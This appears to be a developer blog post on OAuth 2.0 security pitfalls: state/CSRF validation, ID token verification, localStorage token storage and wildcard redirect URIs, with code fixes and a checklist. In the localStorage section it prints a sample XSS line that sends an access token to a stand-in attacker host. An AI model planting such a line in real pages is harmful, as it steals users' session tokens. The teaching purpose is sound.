OAuth 2.0 Security Pitfalls: Stop Trusting the Token Blindly š
"Just use OAuth 2.0 ā it's secure!" your senior dev says, waving their hand dismissively while sipping coffee.
So you copy a tutorial, wire up "Login with Google," ship it on Friday, and head into the weekend feeling like a security genius.
Monday morning: A researcher emails you a report showing they've been logging into any account they want.
Turns out OAuth 2.0 isn't "set it and forget it" ā it's a protocol with landmines. Step on the wrong one and you've just handed attackers a skeleton key to your whole app. Let's defuse them together. š£
What OAuth 2.0 Actually Is (And Isn't) š¤
OAuth 2.0 is a delegation protocol ā it lets users grant your app access to their data on another service without handing you their password.
What it is NOT:
- ā An authentication protocol (that's OpenID Connect, built on top of OAuth)
- ā A guarantee of security just because you're using it
- ā An excuse to skip thinking
The most dangerous phrase in software: "We're using OAuth so we're good."
Pitfall #1: Skipping State Parameter Validation (CSRF on Auth) š
The state parameter prevents cross-site request forgery on the OAuth flow itself. Skip it and an attacker can trick your users into linking their account to the attacker's identity.
The Attack in 60 Seconds:
- Attacker starts an OAuth login on your site
- Captures the authorization URL before clicking "Authorize"
- Tricks a victim into visiting that URL
- Victim authorizes ā attacker's session now has victim's access token
The Fix:
// BAD ā no state validation
app.get('/auth/callback', async (req, res) => {
const { code } = req.query;
const token = await exchangeCodeForToken(code);
// Attacker just hijacked this flow š (for them)
});
// GOOD ā generate and verify state
app.get('/auth/start', (req, res) => {
const state = crypto.randomBytes(16).toString('hex');
req.session.oauthState = state;
const authUrl = `https://provider.com/oauth/authorize?` +
`client_id=${CLIENT_ID}&` +
`redirect_uri=${REDIRECT_URI}&` +
`state=${state}&` +
`response_type=code`;
res.redirect(authUrl);
});
app.get('/auth/callback', async (req, res) => {
const { code, state } = req.query;
// Verify state matches what we generated
if (state !== req.session.oauthState) {
return res.status(403).send('CSRF detected. Nice try. š');
}
const token = await exchangeCodeForToken(code);
// Now we're cooking
});
Pitfall #2: Not Validating the ID Token (The "Who Are You?" Problem) šµļø
When using OpenID Connect (OAuth + identity layer), you get an ID token ā a JWT asserting who the user is. Many devs just decode it and trust whatever's inside.
Here's the thing: anyone can create a JWT. Anyone. It takes about 30 seconds.
Always validate:
iss(issuer) ā must match your provider's URL exactlyaud(audience) ā must be your client ID, not any random appexp(expiration) ā reject tokens that are past their use-by date- Signature ā verify against the provider's public key
import jwt
from jwt import PyJWKClient
# GOOD ā proper ID token validation
def validate_id_token(id_token: str, client_id: str) -> dict:
jwks_client = PyJWKClient("https://accounts.google.com/.well-known/jwks.json")
signing_key = jwks_client.get_signing_key_from_jwt(id_token)
payload = jwt.decode(
id_token,
signing_key.key,
algorithms=["RS256"],
audience=client_id, # Must match YOUR client ID
issuer="https://accounts.google.com", # Must match provider
)
# payload is now cryptographically verified ā trust it
return payload
Skip any of those checks and an attacker can craft a token claiming to be anyone in your system, including your admin account.
Pitfall #3: Storing Tokens in localStorage (The XSS Buffet) š½ļø
Every frontend tutorial that stores tokens in localStorage is setting a trap. If your app has any XSS vulnerability ā a rogue dependency, an unsanitized string somewhere ā attackers can steal every token with one line:
// Hacker's dream: your entire token, delivered to their server
fetch('https://evil.com/steal?t=' + localStorage.getItem('access_token'));
The better approach: Use HttpOnly cookies for token storage. JavaScript can't touch HttpOnly cookies ā XSS is completely blind to them.
// Server-side: set token in an HttpOnly cookie
res.cookie('access_token', token, {
httpOnly: true, // JS can't read this
secure: true, // HTTPS only
sameSite: 'Lax', // CSRF mitigation
maxAge: 3600000, // 1 hour
});
Yes, you'll need to handle CSRF protection for your API calls now ā but that's a much smaller attack surface than "every XSS in your app can steal all tokens."
Pitfall #4: Redirect URI Wildcards (Open Redirect City) šŖ
Your OAuth provider asks you to register a redirect_uri upfront ā that's the URL it sends the authorization code back to. Some developers register wildcards like https://myapp.com/* or validate with a loose prefix match.
Attacker's dream scenario:
- Register
https://myapp.com/../../evil.comas the redirect - Provider sends the auth code to
evil.com - Attacker exchanges the code, gets the token, owns the account
The fix is boring but important: Register exact redirect URIs. If you need multiple, register them all explicitly. No wildcards. No subdomain patterns. Exact. Strings.
The Security Checklist Before You Ship š
-
stateparameter generated per-request and validated on callback - ID tokens validated (signature, issuer, audience, expiration)
- Access tokens stored in
HttpOnlycookies, notlocalStorage - Redirect URIs are exact matches ā no wildcards
- Token scopes follow least privilege (request only what you need)
- Refresh tokens are rotated on use (prevents token replay attacks)
- PKCE enabled for public clients (mobile apps, SPAs)
Real Talk: OAuth Is a Protocol, Not a Magic Shield š”ļø
OAuth 2.0 done right is genuinely excellent ā it keeps passwords off your servers and lets users revoke access at any time. Done wrong, it's a beautifully documented way to hand your app over to strangers.
The protocol spec is 76 pages. Tutorials show you page 1. The attacks live on pages 2 through 76.
Read the spec (or at least the OAuth 2.0 Security Best Current Practice), validate everything that comes from outside your trust boundary, and stop treating tokens like they're self-evidently trustworthy.
Your users are trusting you with their accounts. That trust is worth more than shipping an extra hour early.
Found this useful? Share it with someone who's copy-pasting OAuth tutorials without reading past the "Congratulations, you're logged in!" step. And if you want to dig deeper into auth security, come find me:
- GitHub: @kpanuragh
- Twitter/X: @kpanuragh
Stay skeptical out there. š